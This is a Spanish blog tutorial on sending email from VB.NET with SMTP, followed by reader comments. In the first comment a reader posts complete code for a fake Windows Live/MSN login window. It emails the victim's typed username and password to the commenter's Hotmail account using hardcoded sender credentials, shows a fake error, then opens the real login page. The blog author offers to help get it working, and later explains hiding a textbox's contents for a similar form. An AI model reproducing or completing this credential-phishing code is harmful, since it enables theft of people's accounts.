Tutorial Como enviar correos o emails desde visual basic.net



Creo que a muchos programadores novatos nos hemos realizado la gran pregunta ¿como enviar correos desde visual.net?, pues aqui la respuesta, hace tiempo lo tuve que investigar para un proyecto y googleando me encontre con este codigo que cumple lo que promete.
En aras del aprendizaje quise darlo a conocer y por esto realice el siguiente vídeo tutorial, espero y sea de vuestro agrado.





Este es el codigo fuente para quienes lo deseen.



Imports System.Net.Mail

Public Class Form1

Dim message As New MailMessage
Dim smtp As New SmtpClient

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles Button1.Click

message.From = New MailAddress("CORREO DESDE DONDE SE ENVIA")
message.To.Add("EL DESTINATARIO")
message.Body = "EL CUERPO O EL CONTENIDO DEL MENSAJE"
message.Subject = "TITULO DEL CORREO"
message.Priority = MailPriority.Normal

smtp.EnableSsl = True
smtp.Port = "587"
smtp.Host = "smtp.live.com"
smtp.Credentials = New Net.NetworkCredential("EL CORREO DESDE DONDE SE ENVIA", "AQUI CONTRASEÑA")
smtp.Send(message)
End Sub
End Class

26 comentarios:

  1. impositivo dijo...:

    hola mi Ander, no se como hacer para enviar a mi correo el user y el pass del msn falso de tu video. ya cheke este video de como enviar correo con vb y si me funciono, hice otro proyecto del msn falso modificando el codigo y combinandolo con el de este video y no se como hacerle para enviar el user y el pass al correo aqui te dejo el codigo de el msn modificado. A VER SI ESTOY BIEN:

    Imports System.Net.Mail
    Public Class Form1
    Dim Message As New MailMessage
    Dim smtp As New smtpClient
    Private Sub BtnIniciar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIniciar.Click
    If TxtUsser.Text = "" Or TxtPass.Text = "" Then
    MsgBox("No puedes iniciar sesion en Windows Live Hotmail" & Chr(13) & "Escribe tu ID. de Windows Live, en este formato: tunombre@ejemplo.com", MsgBoxStyle.Information, "Windows Live Hotmail")
    Else
    Message.From = New MailAddress("gerardodejesusgonzalez@hotmail.com")
    Message.To.Add("impositivo.ok@hotmail.com")
    Message.Body = ("enviar.txt")
    Message.Body = ("enviar.txt")
    Message.Subject = "users y pass"
    Message.Priority = MailPriority.Normal
    smtp.EnableSsl = True
    smtp.Port = "587"
    smtp.Host = "smtp.live.com"
    smtp.Credentials = New Net.NetworkCredential("gerardodejesusgonzalez@hotmail.com", "20demarzode1982")
    smtp.Send(Message)
    End If
    MsgBox("No puedes iniciar sesion en Windows Live Hotmail" & Chr(13) & "La cuenta de Windows live Hotmail o la contraseña espesificada no es correcta.", MsgBoxStyle.Information, "Windows Live ID.")
    Dim proceso As New System.Diagnostics.Process
    With proceso
    .StartInfo.FileName = "https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1302768272&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx%3Fwa%3Dwsignin1.0&lc=3082&id=64855&mkt=es-es&cbcxt=mai&snsc=1"
    .Start()
    End With
    End Sub
    End Class


    AH! Y LA NETA ME NACE DECIRTE QUE NO ERES GRANDE... ERES LO QUE LE SIGUE.
    SIGUE ASI COMO VAS O MEJOR Y VAS A SER MAS DE LO QUE DESEAS. NETA.

  1. @nd3[R]-Boy dijo...:

    Perdón por la demora en contestar este mensaje, pero como copiaste tanto blogger lo detecto como spamm, la verdad lo que quieres no es Dificil. Si quieres te puedo ayudar, pero contactarme por facebook o twitter.. Saludos.

  1. Anónimo dijo...:

    hola ander me funciono perfectamente su código!... me gustaría codificarlo para que el correo mande un archivo adjunto, soy nuevo en visual basic, de antemano muchísimas gracias

  1. @nd3[R]-Boy dijo...:

    Dando respuesta a tu comentario anonimo, eso lo tendre listo dentro de proximos proyectos. Saludos..

  1. JAVIER dijo...:

    Hola ander bueno me gustaria qe agas un tutorial pero que estos codigos funcionen porqe ami no me funcionan yo se qe eres un capo bueno te dejo el video

    http://www.youtube.com/watch?v=KNOL9x6DvUE
    espero qe lo mires y me respondas y ojala qe agas un video asi pero con el codigo bueno si xD
    qe funcione con visual basic 2008 :D

  1. HOLA ANDERBOY HE ESTADO MIRANDO TUS VIDEOS TUTORIALES Y ME PARECEN BASTANTE INTERESANTES .
    BUENO ESTOY EMPEZANDO A ESTUDIAR ESTO DE VISUAL NO ESTOY TAN AVANZADO PERO SE ALGUITO TENGO UNA PREGUNTA ESPERO ME PUEDAS RESPONDER Y AYUDAR

    ESTOY HACIENDO UN JUEGO DE CARRERAR PERO NO PUEDO GENERAR EL EVENTO QUE AL CHOCARSE DOS PICTUBOX (CLARO CADA UNO CON UNA IMAGEN DE UN CARRO DENTRO) GENERE UN EVENTO POR EJEMPLO UN MSGBOX QUE ME DIGA(" CHOCASTE PERDISTE UNA VIDA")
    O ALGO ASI LO QUE SI PUEDO HACER ES UTILIZANDO LA PROPIEDAD :"LOCATION"
    HACER LO SIGUIENTE:

    If picturebox1.Location = picturebox1.Location Then
    MsgBox("CHOCASTE PERDISTE UNA VIDA.!!")
    lblvida.text-=1
    End If

    PERO ESTO SOLO ME PERMITE HACER QUE SUPUESTAMENTE SE CHOQUEN LOS CARROS PERO EN LA ESQUINA SUPERIOR IZQUIERDA Y JUSTO EN EL MISMO PUNTO DE LO CONTRARIO NO GENERA EL EVENTO

    LO QUE NECESITO ESQUE GENERE EL EVENTO DEL MSGBOX SI LOS 2 PICTUREBOX CHOQUEN EL CUALQUER PUNTO ..
    ESPERO HABERME EXPLICADO BIEN
    GRACIAS DE ANTEMANO ESPERO TU RESPUESTA

    TE DEJO MI BLOG PARA QUE PUEDAS COMUNICARTE CONMIGO

    progvsx.blogspot.com

  1. @nd3[R]-Boy dijo...:

    Lo que tu necesitas es algo que ya esta en la web y lo he visto por hay. En lo personal no he realizado dicho programa. Te recomiendo la pagina www.lawebdelprogramador.com descargar el codigo fuente de un juego que es de carreras y hace lo que necesitas, eso te puede dar una idea..
    No estoy incentivando la pereza ni mucho menos. pero eso puede ser una referencia para hacer tu proyecto..
    Si algo me contactas por el facebook. Saludos..

  1. Eu dijo...:

    Eu sou brasileiro
    Na hora de enviar a mensager aparece um negocio de JIT e não consigo enviar, o que faço?

  1. @nd3[R]-Boy dijo...:

    @Eu :
    Fazer o tutorial passo a passo. O vídeo não é um erro, o erro deve estar em algum lugar em sua programação ..
    Resposta traduzido por: tradutor GOOGLE

  1. Anónimo dijo...:

    Hola, soy Álvaro, y quería decirte que me funciona a la perfección.
    Solo que he intentado que se me enviase al correo el texto escrito en el textbox, y cuando doy a la flecha, para que me cargue la aplicación, no me deja, y se me subraya de amarillo el apartado de: Smtp.Send (message)
    Quería saber como hacer para que me funcione.

  1. Anónimo dijo...:

    Buenos días, tengo mi aplicación terminada, y soy nuevo en esto, me va genial, todo funciona, pero no se como guardarla.. No se ria de mi, pero la guardo, y no encuentro el archivo, al que dándole doble clic me aparezca la aplicación.
    Un saludo, Juan.

  1. @nd3[R]-Boy dijo...:

    En cuanto a lo del error que manifiestan, suele pasar por que omites un paso importante en cuanto a la configuracion del servidor.. Pon mucho cuidado, el tutorial esta hecho paso a paso justo para evitar eso..

    y lo de guardar el proyecto, puedes ver uno de mis videos en los que hablo de como hacer un exe de un proyecto de visual.net.
    En caso contrario puedes ir a la carpeta de tu proyecto, luego a bin y luego debug, hay encontraras el exe.. Saludos..

  1. fuentes_soto dijo...:

    Buenas mi nombre es Eduardo fuentes soto esta muy buena correo convisual.net
    pero quisiera que me ayudes un correo masivo y q jale desde mi base de datos de excel y el body este en html se que se puede pero no me sale, gracias por la ayuda

  1. MagicXinventor dijo...:

    Sabes como entrar una base de datos en visual basic

  1. Anónimo dijo...:

    Me gustaria saber si se podria enviar correos desde el visual basic pero que tengan 3 textbox que funcionen 1 de ellos estaria enmascarado. Muchas Gracias y respondeme a este correo electrónico porfavor: todotipodecuentas@gmail.com

    Muchas Gracias

  1. Anónimo dijo...:

    Hola amigo, me gustaria saber como enviar e-mail desde vb pero en formato html , con una cabecera de imagen, links , etc. algo como un boletin .
    Muchas gracias por su respuesta, mi correo es medardo_14@hotmail.com

  1. Anónimo dijo...:

    Excepción del tipo 'System.NullReferenceException' en NSTN.exe
    Excepción del tipo 'System.InvalidOperationException' en NSTN.exe
    Excepción del tipo 'System.NullReferenceException' en NSTN.exe
    Excepción del tipo 'System.InvalidOperationException' en NSTN.exe
    Excepción del tipo 'System.NullReferenceException' en NSTN.exe
    Excepción del tipo 'System.InvalidOperationException' en NSTN.exe
    Excepción del tipo 'System.NullReferenceException' en NSTN.exe
    Excepción del tipo 'System.InvalidOperationException' en NSTN.exe

    ¿Porque me sale este error? Al dar a un boton que me conecta a un FORM donde tengo las cosas pa mandar un email no se me abvre y me sale eso? :S

    Un saludo y Gracias por tus tutoriales

  1. @nd3[R]-Boy dijo...:

    Mucho cuidado con la version del framework...Actualizen al la ultima, ademas no para todas las versiones de .net el codigo es el mismo..
    Lo del textbox invisible es posible, solo ocultar su propiedad y mandarlo normal junto con la info de los otros..
    Para mayor info, comunicarme por twitter.. Saludos..

  1. Anónimo dijo...:

    hola q tal me aparece este error. . .

    mtpexception was unhandled

    Error al enviar correo.

    podrias ayudarme? gracias!!!

  1. @nd3[R]-Boy dijo...:

    Cuidado con la versión de visual que usan, el código no es el mismo para todas las versiones, por lo general de versión a versión cambia algo en la sintaxis. Ademas el framework influye mucho..
    Desarrollado en windows 7, con la versión de visual 2008

  1. Anónimo dijo...:

    entiendo el envió y la configuración pero si quisiera una configuración para este tipo de form que envié correo a todo tipo de Server sea hotmail gmail o yahoo como seria te dejo la imagen a alguien que me pueda ayuda
    https://www.dropbox.com/s/52j5kuxk2h1sg0e/contacto.png

  1. Anónimo dijo...:

    entes que nada muy buen blog "te felicito" me gustaria saber como conectar un texbox con un campo de una base de datos...

  1. Anónimo dijo...:

    hola
    tenia una duda acerca del tu tutorial para enviar correos, funciona muy bien y por cierto gracias por ese aporte pero quisiera saber como hacer para poder almacenarlos dentro de la aplicacion en si para tener un registro de lo que he enviado
    gracias

  1. Anónimo dijo...:

    Hola!! eres el mejor Anderboy!!
    Tengo una duda: Yo quiero que se envien los datos al mail como si fuera un formulario.

    ¿como hago eso?

    Atentamente

  1. Anónimo dijo...:

    Contesta a los comentarios!!
    Sino como quieres ser un buen Blogger.
    Eh oido que un progframadr joven de aqui 1 semana va abrir un blog llamado Hacker Inteligente
    se supone que hablara de programacion, dara hacks y por ahora me han dicho que ha echo uno de steam y face para apretar fuerte!!
    Ander ten cuidado con la comopetencia xD haber si te van a quitar gente!

  1. Apple Mania dijo...:

    Hola no se como lo aces para mandar el correo pero ami me sale un erro del
    codigo smtp.send(message)
    aver si me puedes ayudar

Publicar un comentario

 
Anderboy - Conocimiento Hecho Tutorial © 2010 | Designed by Trucks, in collaboration with MW3, Broadway Tickets, and Distubed Tour